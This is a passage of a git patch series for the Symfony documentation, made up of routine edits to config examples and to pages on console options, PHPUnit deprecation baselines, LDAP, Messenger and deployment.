z*TYCdunwP9J5$~@EO>Oj@6K_y_*cXgOgF@&D<Od(*gr6{MK&^9yuQ=wc7XutVV{eI
zZ6UzBggRxZ5(2zS2_|?5A;7jFwr{O42m!*nKV{vE-9mszWVEq|?>-$g9>`hMPt?ym
R4;F8}`9D3Hk9Sk$0012tPx=4=

literal 0
HcmV?d00001

diff --git a/form/events.rst b/form/events.rst
index 0f2e26e2775..a99698aa247 100644
--- a/form/events.rst
+++ b/form/events.rst
@@ -32,17 +32,16 @@ register an event listener to the ``FormEvents::PRE_SUBMIT`` event as follows::
 The Form Workflow
 -----------------
 
-The Form Submission Workflow
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. raw:: html
 
-.. image:: /_images/components/form/general_flow.png
-    :align: center
+    <object data="../_images/form/form_workflow.svg" type="image/svg+xml"></object>
 
 1) Pre-populating the Form (``FormEvents::PRE_SET_DATA`` and ``FormEvents::POST_SET_DATA``)
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. image:: /_images/components/form/set_data_flow.png
-    :align: center
+.. raw:: html
+
+    <object data="../_images/form/form_prepopulation_workflow.svg" type="image/svg+xml"></object>
 
 Two events are dispatched during pre-population of a form, when
 :method:`Form::setData() <Symfony\\Component\\Form\\Form::setData>`
@@ -118,8 +117,9 @@ View data        Normalized data transformed using a view transformer
 2) Submitting a Form (``FormEvents::PRE_SUBMIT``, ``FormEvents::SUBMIT`` and ``FormEvents::POST_SUBMIT``)
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. image:: /_images/components/form/submission_flow.png
-    :align: center
+.. raw:: html
+
+    <object data="../_images/form/form_submission_workflow.svg" type="image/svg+xml"></object>
 
 Three events are dispatched when
 :method:`Form::handleRequest() <Symfony\\Component\\Form\\Form::handleRequest>`

From 9eec4af4800dd347234ccb4f5e231a19ff77493e Mon Sep 17 00:00:00 2001
From: sebpacz <spaczkowski2014@gmail.com>
Date: Sun, 3 Jan 2021 21:41:55 +0100
Subject: [PATCH 1680/7107] Add missing configurations in XML and PHP formats

---
 configuration/env_var_processors.rst | 96 ++++++++++++++++++++++++----
 1 file changed, 82 insertions(+), 14 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index f9191d6ede9..710ce3da6b6 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -279,12 +279,42 @@ Symfony provides the following env var processors:
 ``env(csv:FOO)``
     Decodes the content of ``FOO``, which is a CSV-encoded string:
 
-    .. code-block:: yaml
+    .. configuration-block::
 
-        parameters:
-            env(TRUSTED_HOSTS): "10.0.0.1, 10.0.0.2"
-        framework:
-           trusted_hosts: '%env(csv:TRUSTED_HOSTS)%'
+        .. code-block:: yaml
+
+            # config/packages/framework.yaml
+            parameters:
+                env(TRUSTED_HOSTS): "10.0.0.1, 10.0.0.2"
+            framework:
+               trusted_hosts: '%env(csv:TRUSTED_HOSTS)%'
+
+        .. code-block:: xml
+
+            <!-- config/packages/framework.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xmlns:framework="http://symfony.com/schema/dic/symfony"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd
+                    http://symfony.com/schema/dic/symfony
+                    https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+                <parameters>
+                    <parameter key="env(TRUSTED_HOSTS)">["10.0.0.1", "10.0.0.2"]</parameter>
+                </parameters>
+
+                <framework:config trusted-hosts="%env(csv:TRUSTED_HOSTS)%"/>
+            </container>
+
+        .. code-block:: php
+
+            // config/packages/framework.php
+            $container->setParameter('env(TRUSTED_HOSTS)', '["10.0.0.1", "10.0.0.2"]');
+            $container->loadFromExtension('framework', [
+                'trusted_hosts' => '%env(csv:TRUSTED_HOSTS)%',
+            ]);
 
 ``env(file:FOO)``
     Returns the contents of a file whose path is the value of the ``FOO`` env var:
@@ -627,16 +657,54 @@ Symfony provides the following env var processors:
 
 It is also possible to combine any number of processors:
 
-.. code-block:: yaml
+.. configuration-block::
+
+    .. code-block:: yaml
 
-    parameters:
-        env(AUTH_FILE): "%kernel.project_dir%/config/auth.json"
-    google:
-        # 1. gets the value of the AUTH_FILE env var
-        # 2. replaces the values of any config param to get the config path
-        # 3. gets the content of the file stored in that path
-        # 4. JSON-decodes the content of the file and returns it
-        auth: '%env(json:file:resolve:AUTH_FILE)%'
+        # config/packages/framework.yaml
+        parameters:
+            env(AUTH_FILE): "%kernel.project_dir%/config/auth.json"
+        google:
+            # 1. gets the value of the AUTH_FILE env var
+            # 2. replaces the values of any config param to get the config path
+            # 3. gets the content of the file stored in that path
+            # 4. JSON-decodes the content of the file and returns it
+            auth: '%env(json:file:resolve:AUTH_FILE)%'
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <parameters>
+                <parameter key="env(AUTH_FILE)">%kernel.project_dir%/config/auth.json</parameter>
+            </parameters>
+
+            <!-- 1. gets the value of the AUTH_FILE env var -->
+            <!-- 2. replaces the values of any config param to get the config path -->
+            <!-- 3. gets the content of the file stored in that path -->
+            <!-- 4. JSON-decodes the content of the file and returns it -->
+            <google auth="%env(json:file:resolve:AUTH_FILE)%"/>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        $container->setParameter('env(AUTH_FILE)', '%kernel.project_dir%/config/auth.json');
+        // 1. gets the value of the AUTH_FILE env var
+        // 2. replaces the values of any config param to get the config path
+        // 3. gets the content of the file stored in that path
+        // 4. JSON-decodes the content of the file and returns it
+        $container->loadFromExtension('google', [
+            'auth' => '%env(json:file:resolve:AUTH_FILE)%',
+        ]);
 
 Custom Environment Variable Processors
 --------------------------------------

From f872201e9febf6fb2078065d0ff380992e3b4862 Mon Sep 17 00:00:00 2001
From: Gordon Franke <info@nevalon.de>
Date: Tue, 5 Jan 2021 21:09:48 +0100
Subject: [PATCH 1681/7107] doc: copy paste trusted_headers vs trusted_proxies

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 3a26887300e..c46b2a469f0 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -401,7 +401,7 @@ trusted_proxies
 
 .. versionadded:: 5.2
 
-    The ``trusted_headers`` option was reintroduced in Symfony 5.2 (it had been
+    The ``trusted_proxies`` option was reintroduced in Symfony 5.2 (it had been
     removed in Symfony 3.3).
 
 The ``trusted_proxies`` option is needed to get precise information about the

From 0f25dd3cce6ac600bfc7682b09300ebddbea6fc0 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Tue, 5 Jan 2021 17:02:57 +0100
Subject: [PATCH 1682/7107] Add documenation for Console Negatable option

---
 console/input.rst | 10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)

diff --git a/console/input.rst b/console/input.rst
index ecb7d6e72c3..8bd42ae6c85 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -199,7 +199,7 @@ separation at all (e.g. ``-i 5`` or ``-i5``).
     this situation, always place options after the command name, or avoid using
     a space to separate the option name from its value.
 
-There are four option variants you can use:
+There are five option variants you can use:
 
 ``InputOption::VALUE_IS_ARRAY``
     This option accepts multiple values (e.g. ``--dir=/foo --dir=/bar``);
@@ -216,6 +216,14 @@ There are four option variants you can use:
     This option may or may not have a value (e.g. ``--yell`` or
     ``--yell=loud``).
 
+``InputOption::VALUE_NEGATABLE``
+    Accept either the flag (e.g. ``--yell``) or its negation (e.g.
+    ``--no-yell``).
+
+.. versionadded:: 5.3
+
+    The ``InputOption::VALUE_NEGATABLE`` constant was introduced in Symfony 5.3.
+
 You can combine ``VALUE_IS_ARRAY`` with ``VALUE_REQUIRED`` or
 ``VALUE_OPTIONAL`` like this::
 

From 66d5f497c4e871af5b27db6c23f4fce63193f330 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Michael=20K=C3=A4fer?= <michael.kaefer1@gmx.at>
Date: Mon, 16 Nov 2020 23:20:42 +0100
Subject: [PATCH 1683/7107] [PHPUnitBridge] Add deprecation log file option

---
 components/phpunit_bridge.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 8be5ef90bb7..ed1fbb5a0b2 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -350,6 +350,16 @@ the compiling and warming up of the container:
 
     The ``--deprecations`` option was introduced in Symfony 5.1.
 
+Log Deprecations
+~~~~~~~~~~~~~~~~
+
+For turning the verbose output off and write it to a log file instead you can use
+``SYMFONY_DEPRECATIONS_HELPER='logFile=/path/deprecations.log'``.
+
+.. versionadded:: 5.3
+
+    The ``logFile`` option was introduced in Symfony 5.3.
+
 Write Assertions about Deprecations
 -----------------------------------
 

From 10f752227da6bca24795534111bd1233d6539995 Mon Sep 17 00:00:00 2001
From: Jacek <jacek@opcode.pl>
Date: Tue, 5 Jan 2021 22:47:02 +0100
Subject: [PATCH 1684/7107] Remove unused imports and properties

---
 security/experimental_authenticators.rst | 9 ---------
 1 file changed, 9 deletions(-)

diff --git a/security/experimental_authenticators.rst b/security/experimental_authenticators.rst
index 35aa1c9c205..c84f36ed51d 100644
--- a/security/experimental_authenticators.rst
+++ b/security/experimental_authenticators.rst
@@ -287,8 +287,6 @@ method that fits most use-cases::
     // src/Security/ApiKeyAuthenticator.php
     namespace App\Security;
 
-    use App\Entity\User;
-    use Doctrine\ORM\EntityManagerInterface;
     use Symfony\Component\HttpFoundation\JsonResponse;
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Response;
@@ -302,13 +300,6 @@ method that fits most use-cases::
 
     class ApiKeyAuthenticator extends AbstractAuthenticator
     {
-        private $entityManager;
-
-        public function __construct(EntityManagerInterface $entityManager)
-        {
-            $this->entityManager = $entityManager;
-        }
-
         /**
          * Called on every request to decide if this authenticator should be
          * used for the request. Returning `false` will cause this authenticator

From f7f80af9e565d3fbf3ba237ba259cd4e9d3d2306 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 7 Jan 2021 18:01:44 +0100
Subject: [PATCH 1685/7107] Mention that trusted proxies are not compatible
 with nginx realip

---
 deployment/proxies.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 5caf7003364..285dd221b11 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -48,6 +48,11 @@ The Request object has several ``Request::HEADER_*`` constants that control exac
 *which* headers from your reverse proxy are trusted. The argument is a bit field,
 so you can also pass your own value (e.g. ``0b00110``).
 
+.. caution::
+
+    The "trusted proxies" feature does not work as expected when using the
+    `nginx realip module`_. Disable that module when serving Symfony applications.
+
 But what if the IP of my Reverse Proxy Changes Constantly!
 ----------------------------------------------------------
 
@@ -118,3 +123,4 @@ In this case, you'll need to set the header ``X-Forwarded-Proto`` with the value
 .. _`security groups`: https://docs.aws.amazon.com/elasticloadbalancing/latest/classic/elb-security-groups.html
 .. _`CloudFront`: https://en.wikipedia.org/wiki/Amazon_CloudFront
 .. _`CloudFront IP ranges`: https://ip-ranges.amazonaws.com/ip-ranges.json
+.. _`nginx realip module`: http://nginx.org/en/docs/http/ngx_http_realip_module.html

From f3fdf986f270448d8eba3542bd61c24506ab0724 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 7 Jan 2021 17:31:36 +0100
Subject: [PATCH 1686/7107] [FrameworkBundle] Document
 assertResponseFormatSame()

---
 testing/functional_tests_assertions.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/testing/functional_tests_assertions.rst b/testing/functional_tests_assertions.rst
index 457d8c39021..0e190f0ed90 100644
--- a/testing/functional_tests_assertions.rst
+++ b/testing/functional_tests_assertions.rst
@@ -39,6 +39,12 @@ Response
 - ``assertResponseHasCookie()``
 - ``assertResponseNotHasCookie()``
 - ``assertResponseCookieValueSame()``
+- ``assertResponseFormatSame()`` (the response format is the value returned by
+  the :method:`Symfony\Component\HttpFoundation\Response::getFormat` method).
+
+.. versionadded:: 5.3
+
+    The ``assertResponseFormatSame()`` method was introduced in Symfony 5.3.
 
 Request
 ~~~~~~~

From f60b89a7253d76358b9e109b24e3833e5226c132 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 8 Jan 2021 09:24:49 +0100
Subject: [PATCH 1687/7107] Make DOCtor happy

---
 testing/functional_tests_assertions.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing/functional_tests_assertions.rst b/testing/functional_tests_assertions.rst
index 0e190f0ed90..56f6a1d4c8c 100644
--- a/testing/functional_tests_assertions.rst
+++ b/testing/functional_tests_assertions.rst
@@ -40,7 +40,7 @@ Response
 - ``assertResponseNotHasCookie()``
 - ``assertResponseCookieValueSame()``
 - ``assertResponseFormatSame()`` (the response format is the value returned by
-  the :method:`Symfony\Component\HttpFoundation\Response::getFormat` method).
+  the :method:`Symfony\\Component\\HttpFoundation\\Response::getFormat` method).
 
 .. versionadded:: 5.3
 

From ff28617e42621fd0ce0488c7bced6a900a70dbc6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jan 2021 09:36:08 +0100
Subject: [PATCH 1688/7107] [Ldap] Add examples about get/has attribute

---
 components/ldap.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/components/ldap.rst b/components/ldap.rst
index 8e73b077760..d7cb6ed17cd 100644
--- a/components/ldap.rst
+++ b/components/ldap.rst
@@ -139,6 +139,10 @@ delete existing ones::
     $query = $ldap->query('dc=symfony,dc=com', '(&(objectclass=person)(ou=Maintainers))');
     $result = $query->execute();
     $entry = $result[0];
+
+    $phoneNumber = $entry->getAttribute('phoneNumber');
+    $isContractor = $entry->hasAttribute('contractorCompany');
+
     $entry->setAttribute('email', ['fabpot@symfony.com']);
     $entryManager->update($entry);
 

From 8bd8d5194531f2b9b53fea93fe3413af1530138e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jan 2021 09:51:40 +0100
Subject: [PATCH 1689/7107] Add more details about the ESI detection

---
 http_cache/esi.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/http_cache/esi.rst b/http_cache/esi.rst
index 621f604ea95..4ee07e9c939 100644
--- a/http_cache/esi.rst
+++ b/http_cache/esi.rst
@@ -156,9 +156,9 @@ used ``render()``.
 
 .. note::
 
-    Symfony detects if a gateway cache supports ESI via another Akamai
-    specification that is supported out of the box by the Symfony reverse
-    proxy.
+    Symfony considers that a gateway cache supports ESI if its responses include
+    the ``Surrogate-Capability`` HTTP header and the value of that header
+    contains the ``ESI/1.0`` string anywhere.
 
 The embedded action can now specify its own caching rules entirely independently
 of the master page::

From d70cd24c15efa79977a2dba363fd7ab1ba1bba63 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jan 2021 10:04:16 +0100
Subject: [PATCH 1690/7107] [Ldap] Document the case-insensitive attribute
 names

---
 components/ldap.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/components/ldap.rst b/components/ldap.rst
index d7cb6ed17cd..89fb39cb8e8 100644
--- a/components/ldap.rst
+++ b/components/ldap.rst
@@ -142,6 +142,9 @@ delete existing ones::
 
     $phoneNumber = $entry->getAttribute('phoneNumber');
     $isContractor = $entry->hasAttribute('contractorCompany');
+    // attribute names in getAttribute() and hasAttribute() methods are case-sensitive
+    // pass FALSE as the second method argument to make them case-insensitive
+    $isContractor = $entry->hasAttribute('contractorCompany', false);
 
     $entry->setAttribute('email', ['fabpot@symfony.com']);
     $entryManager->update($entry);
@@ -153,6 +156,11 @@ delete existing ones::
     // Removing an existing entry
     $entryManager->remove(new Entry('cn=Test User,dc=symfony,dc=com'));
 
+.. versionadded:: 5.3
+
+    The option to make attribute names case-insensitive in ``getAttribute()``
+    and ``hasAttribute()`` was introduce in Symfony 5.3.
+
 Batch Updating
 ______________
 

From 202820162b46d4b6ee88eb02a2155b043f1f7c77 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jan 2021 10:25:50 +0100
Subject: [PATCH 1691/7107] [Yaml] Documented the github output format for the
 linter

---
 translation/lint.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/translation/lint.rst b/translation/lint.rst
index d9129a79108..14693f32826 100644
--- a/translation/lint.rst
+++ b/translation/lint.rst
@@ -33,6 +33,17 @@ The linter results can be exported to JSON using the ``--format`` option:
     $ php bin/console lint:yaml translations/ --format=json
     $ php bin/console lint:xliff translations/ --format=json
 
+When running the YAML linter inside `GitHub Actions`_, the output is automatically
+adapted to the format required by GitHub, but you can force that format too:
+
+.. code-block:: terminal
+
+    $ php bin/console lint:yaml translations/ --format=github
+
+.. versionadded:: 5.3
+
+    The ``github`` output format was introduced in Symfony 5.3.
+
 .. tip::
 
     The Yaml component provides a stand-alone ``yaml-lint`` binary allowing
@@ -45,3 +56,5 @@ The linter results can be exported to JSON using the ``--format`` option:
     .. versionadded:: 5.1
 
         The ``yaml-lint`` binary was introduced in Symfony 5.1.
+
+.. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions

From c3cadab18f3bccd1f5f2a313c0f607292c981960 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jan 2021 10:33:15 +0100
Subject: [PATCH 1692/7107] [BrowserKit] Document the jsonRequest() method

---
 components/browser_kit.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index b73783f95e0..475c84b9365 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -80,6 +80,20 @@ The value returned by the ``request()`` method is an instance of the
 :doc:`DomCrawler component </components/dom_crawler>`, which allows accessing
 and traversing HTML elements programmatically.
 
+The :method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::jsonRequest` method,
+which defines the same arguments as the ``request()`` method, is a shortcut to
+convert the request parameters into a JSON string and set the needed HTTP headers::
+
+    use Acme\Client;
+
+    $client = new Client();
+    // this encodes parameters as JSON and sets the required CONTENT_TYPE and HTTP_ACCEPT headers
+    $crawler = $client->jsonRequest('GET', '/', ['some_parameter' => 'some_value']);
+
+.. versionadded:: 5.3
+
+    The ``jsonRequest()`` method was introduced in Symfony 5.3.
+
 The :method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::xmlHttpRequest` method,
 which defines the same arguments as the ``request()`` method, is a shortcut to
 make AJAX requests::

From 83af9a124100c7264cbc25eba7f0cf27bffa7e56 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jan 2021 11:07:10 +0100
Subject: [PATCH 1693/7107] [PhpUnitBridge] Document the deprecation baseline
 file

---
 components/phpunit_bridge.rst | 30 ++++++++++++++++++++++++++++++
 1 file changed, 30 insertions(+)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index fea473f1229..289346547c7 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -289,6 +289,36 @@ Here is a summary that should help you pick the right configuration:
 |                        | cannot afford to use one of the modes above.        |
 +------------------------+-----------------------------------------------------+
 
+Baseline Deprecations
+.....................
+
+If your application has some deprecations that you can't fix for some reasons,
+you can tell Symfony to ignore them. The trick is to create a file with the
+allowed deprecations and define it as the "deprecation baseline". Deprecations
+inside that file are ignore but the rest of deprecations are still reported.
+
+First, generate the file with the allowed deprecations (run the same command
+whenever you want to update the existing file):
+
+.. code-block:: terminal
+
+    $ SYMFONY_DEPRECATIONS_HELPER='generateBaseline=true&baselineFile=tests/allowed.json' ./vendor/bin/simple-phpunit
+
+This command stores all the deprecations reported while running tests in the
+given file and encoded in JSON. The file path defined in ``baselineFile`` can
+be absolute or relative to your project root.
+
+Then, you can run the following command to use that file and ignore those deprecations:
+
+.. code-block:: terminal
+
+    $ SYMFONY_DEPRECATIONS_HELPER='baselineFile=tests/allowed.json' ./vendor/bin/simple-phpunit
+
+.. versionadded:: 5.2
+
+    The ``baselineFile`` and ``generateBaseline`` options were introduced in
+    Symfony 5.2.
+
 Disabling the Verbose Output
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From cadd04cf4e20edb26d6f5f9c23c5c718213d731f Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 8 Jan 2021 11:11:57 +0100
Subject: [PATCH 1694/7107] Minors. refs #14801

---
 http_cache/esi.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/http_cache/esi.rst b/http_cache/esi.rst
index 4ee07e9c939..b23b19eda36 100644
--- a/http_cache/esi.rst
+++ b/http_cache/esi.rst
@@ -99,7 +99,7 @@ independently of the rest of the page::
 
     // src/Controller/DefaultController.php
     namespace App\Controller;
-    
+
     // ...
     class DefaultController extends AbstractController
     {
@@ -156,7 +156,7 @@ used ``render()``.
 
 .. note::
 
-    Symfony considers that a gateway cache supports ESI if its responses include
+    Symfony considers that a gateway cache supports ESI if its request include
     the ``Surrogate-Capability`` HTTP header and the value of that header
     contains the ``ESI/1.0`` string anywhere.
 

From f156e727eb81fa57b2a58da29a0fea9046650625 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jan 2021 11:25:48 +0100
Subject: [PATCH 1695/7107] [Messenger] Documented AMQP confirm_timeout option

---
 messenger.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index e4d1179da8a..c92bda6733b 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -962,6 +962,9 @@ The transport has a number of options:
                                               fractional.
 ``connect_timeout``                           Connection timeout. Note: 0 or greater seconds.
                                               May be fractional.
+``confirm_timeout``                           Number of seconds to wait for message sending
+                                              confirmation. If not specified, transport won't
+                                              wait for confirmation. May be fractional.
 ``frame_max``                                 The largest frame size that the server proposes
                                               for the connection, including frame header and
                                               end-byte. 0 means standard extension limit
@@ -1005,6 +1008,10 @@ The transport has a number of options:
 ``exchange[type]``                            Type of exchange                                   ``fanout``
 ============================================  =================================================  ===================================
 
+.. versionadded:: 5.2
+
+    The ``confirm_timeout`` option was introduced in Symfony 5.2.
+
 You can also configure AMQP-specific settings on your message by adding
 :class:`Symfony\\Component\\Messenger\\Bridge\\Amqp\\Transport\\AmqpStamp` to
 your Envelope::

From 71e65a1185b787909d76186ea7593d2ed3922dad Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jan 2021 11:18:16 +0100
Subject: [PATCH 1696/7107] [Messenger] Mention the WorkerMessageRetriedEvent

---
 messenger.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index e4d1179da8a..f0e2d742450 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -716,6 +716,15 @@ this is configurable for each transport:
             ],
         ]);
 
+.. tip::
+
+    Symfony triggers a :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageRetriedEvent`
+    when a message is retried so you can run your own logic.
+
+    .. versionadded:: 5.2
+
+        The ``WorkerMessageRetriedEvent`` class was introduced in Symfony 5.2.
+
 Avoiding Retrying
 ~~~~~~~~~~~~~~~~~
 

From ba50107ea8fa025a7e960f0ab4a9736f2395a77a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jan 2021 12:09:19 +0100
Subject: [PATCH 1697/7107] Improved the check requirements section of the
 deployment article

---
 deployment.rst | 29 +++++++++++++++++++++++++++--
 1 file changed, 27 insertions(+), 2 deletions(-)

diff --git a/deployment.rst b/deployment.rst
index 36854742dcc..7eb4a1bc4f2 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -112,8 +112,32 @@ you'll need to do:
 A) Check Requirements
 ~~~~~~~~~~~~~~~~~~~~~
 
-Use the ``check:requirements`` command to check if your server meets the
-:ref:`technical requirements for running Symfony applications <symfony-tech-requirements>`.
+There are some :ref:`technical requirements for running Symfony applications <symfony-tech-requirements>`.
+In your development machine, the recommended way to check these requirements is
+to use `Symfony CLI`_. However, in your production server you might prefer to
+not install the Symfony CLI tool. In those cases, install this other package in
+your application:
+
+.. code-block:: terminal
+
+    $ composer require symfony/requirements-checker
+
+Then, make sure that the checker is included in your Composer scripts:
+
+.. code-block:: json
+
+    {
+        "...": "...",
+
+        "scripts": {
+            "auto-scripts": {
+                "vendor/bin/requirements-checker": "php-script",
+                "...": "..."
+            },
+
+            "...": "..."
+        }
+    }
 
 .. _b-configure-your-app-config-parameters-yml-file:
 
@@ -257,3 +281,4 @@ Learn More
 .. _`Clever Cloud`: https://www.clever-cloud.com/doc/php/tutorial-symfony/
 .. _`Symfony Cloud`: https://symfony.com/doc/master/cloud/intro.html
 .. _`Scalingo`: https://doc.scalingo.com/languages/php/symfony
+.. _`Symfony CLI`: https://symfony.com/download

From a6f97ce0638f14a3014cb9fd10b6599c40284735 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jan 2021 10:39:07 +0100
Subject: [PATCH 1698/7107] [Messenger] Document the debug option of Amazon SQS

---
 messenger.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index e4d1179da8a..ee274146158 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1342,6 +1342,8 @@ The transport has a number of options:
 ``auto_setup``          Whether the queue should be created     ``true``
                         automatically during send / get.
 ``buffer_size``         Number of messages to prefetch          9
+``debug``               If ``true`` it logs all HTTP requests   ``false``
+                        and responses (it impacts performance)
 ``endpoint``            Absolute URL to the SQS service         https://sqs.eu-west-1.amazonaws.com
 ``poll_timeout``        Wait for new message duration in        0.1
                         seconds
@@ -1353,6 +1355,10 @@ The transport has a number of options:
 ``wait_time``           `Long polling`_ duration in seconds     20
 ======================  ======================================  ===================================
 
+.. versionadded:: 5.3
+
+    The ``debug`` option was introduced in Symfony 5.3.
+
 .. note::
 
     The ``wait_time`` parameter defines the maximum duration Amazon SQS should

From 376c1204bf227baa5a24c4848ea513f4fa317912 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Fri, 21 Aug 2020 16:18:25 +0200
Subject: [PATCH 1699/7107] Update deployment.rst

---
 deployment.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/deployment.rst b/deployment.rst
index 6a92e4df9b1..583fbca4572 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -46,7 +46,7 @@ Basic File Transfer
 The most basic way of deploying an application is copying the files manually
 via FTP/SCP (or similar method). This has its disadvantages as you lack control
 over the system as the upgrade progresses. This method also requires you
-to take some manual steps after transferring the files (see `Common Post-Deployment Tasks`_)
+to take some manual steps after transferring the files (see `Common Pre-Post-Deployment Tasks`_)
 
 Using Source Control
 ~~~~~~~~~~~~~~~~~~~~
@@ -58,7 +58,7 @@ system. When using Git, a common approach is to create a tag for each release
 and check out the appropriate tag on deployment (see `Git Tagging`_).
 
 This makes updating your files *easier*, but you still need to worry about
-manually taking other steps (see `Common Post-Deployment Tasks`_).
+manually taking other steps (see `Common Pre-Post-Deployment Tasks`_).
 
 Using Platforms as a Service
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -101,10 +101,10 @@ specifically tailored to the requirements of Symfony.
     `Symfony plugin`_ is a plugin to ease Symfony related tasks, inspired by `Capifony`_
     (which works only with Capistrano 2).
 
-Common Post-Deployment Tasks
-----------------------------
+Common Pre-Post-Deployment Tasks
+--------------------------------
 
-After deploying your actual source code, there are a number of common things
+Before and after deploying your actual source code, there are a number of common things
 you'll need to do:
 
 A) Check Requirements
@@ -198,7 +198,7 @@ are simple and more complex tools and one can make the deployment as easy
 
 Don't forget that deploying your application also involves updating any dependency
 (typically via Composer), migrating your database, clearing your cache and
-other potential things like pushing assets to a CDN (see `Common Post-Deployment Tasks`_).
+other potential things like pushing assets to a CDN (see `Common Pre-Post-Deployment Tasks`_).
 
 Troubleshooting
 ---------------

From 21d3087f8dc3fbdce8f84c7c74b0a7d526e3c187 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jan 2021 14:49:57 +0100
